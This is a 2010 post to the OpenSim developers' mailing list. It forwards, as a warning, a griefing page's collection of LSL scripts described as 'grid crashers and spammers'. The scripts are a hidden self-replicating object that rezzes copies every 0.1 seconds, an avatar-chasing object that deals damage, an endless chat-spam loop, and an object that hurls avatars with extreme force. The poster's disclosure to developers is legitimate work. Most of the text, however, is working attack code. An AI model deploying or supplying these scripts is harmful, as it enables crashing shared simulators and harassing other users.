[Opensim-dev] Is this a real problem?

Karen Palen karenpalensl at gmail.com
Mon Nov 1 22:07:29 UTC 2010


I ran across the following on one of the "less reputable" web sites that
I read. Consider it a "heads up" if the scripts really do what they
claim!

OS GRID CRASHERS AND SPAMMERS 
A virtual world without evil.....not on my watch

These all work if the threat level is set high enough on the sim


vector motion = <0,0,-37>;
integer jumps = 2;
default
{
state_entry()
{
llListen(10,"",llGetOwner(),"");
}
listen( integer channel, string name, key id, string msg)
{
if(msg==".5560")
{
llDie();
}
}

touch_start(integer total_number)
{
llDialog(llDetectedKey(0),"Jezebel's black sun shines upon you
",["YAY!!!"],5560);
llSetAlpha(0.0,ALL_SIDES);
llSetStatus(STATUS_PHANTOM,TRUE);
integer m;
vector local = llGetLocalPos();
for(m=0;m<jumps;m++)
{
llSetPos(local+m*motion);
}
llSetTimerEvent(0.1);
}
timer()
{
llRezObject("Object", llGetPos()+<0,0,0>, ZERO_VECTOR,
ZERO_ROTATION,42);

}
}

--------------------------------------------------------------------

float movespeed = 0.1; //because lower is faster

//Set how often to track avatars
float tick = 0.1;

default
{
state_entry()
{
vector pos = llGetPos();
llSetStatus(STATUS_PHYSICS, TRUE);
llSetDamage(100.0);
llSleep(0.1);
llMoveToTarget(pos,0.1);
llSensorRepeat("","",AGENT,200000,7000*PI,tick);
}
sensor(integer total_number)
{
vector pos = llDetectedPos(0);
vector offset =<-0,0,0>;
pos+=offset;
if (llDetectedOwner(0) == llGetOwner())
{
}
else
{
llMoveToTarget(pos,movespeed);
llLookAt(pos,2,1);
}
}
}
------------------------------------------------------------------

default
{
state_entry()
{
llSay(0, "Here is a fork and knife your gonna need it");
}

collision_start(integer total_number)
{
while(1)
{
llSay(0, "Press Alt-F4 to abuse report griefers, welcome to os grid:)
");

}
}
}
---------------------------------------------------------------
take the verticle tour
---------------------------------------------------------------
default
{
state_entry ( )
{
llListen ( 0, "", NULL_KEY, "0/1" );
llSensorRepeat ( "", NULL_KEY, AGENT, 2.0, PI, 0.01 );
}

listen ( integer Channel, string Name, key UUID, string Message )
{
state Off;
}

sensor ( integer Number )
{
vector Direction = llVecNorm ( llDetectedPos ( 0 ) - llGetPos ( ) );
float Power = llVecMag ( llDetectedVel ( 0 ) - llGetPos ( ) ) * llPow
( llVecDist ( llGetPos ( ) , llDetectedPos ( 0 ) ), 3 );
llPushObject(llDetectedKey(0), <0,0,llPow(3.402823466,38)>, ZERO_VECTOR,
FALSE );

}
}

state Off
{
state_entry ( )
{
llListen ( 0, "", NULL_KEY, "0/1" );
}

listen ( integer Channel, string Name, key UUID, string Message )
{
state default;
}
} 

________________________________________________________________________
I am the devil and i'm here to do the devils work

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://opensimulator.org/pipermail/opensim-dev/attachments/20101101/bfeb39bb/attachment-0001.html>


More information about the Opensim-dev mailing list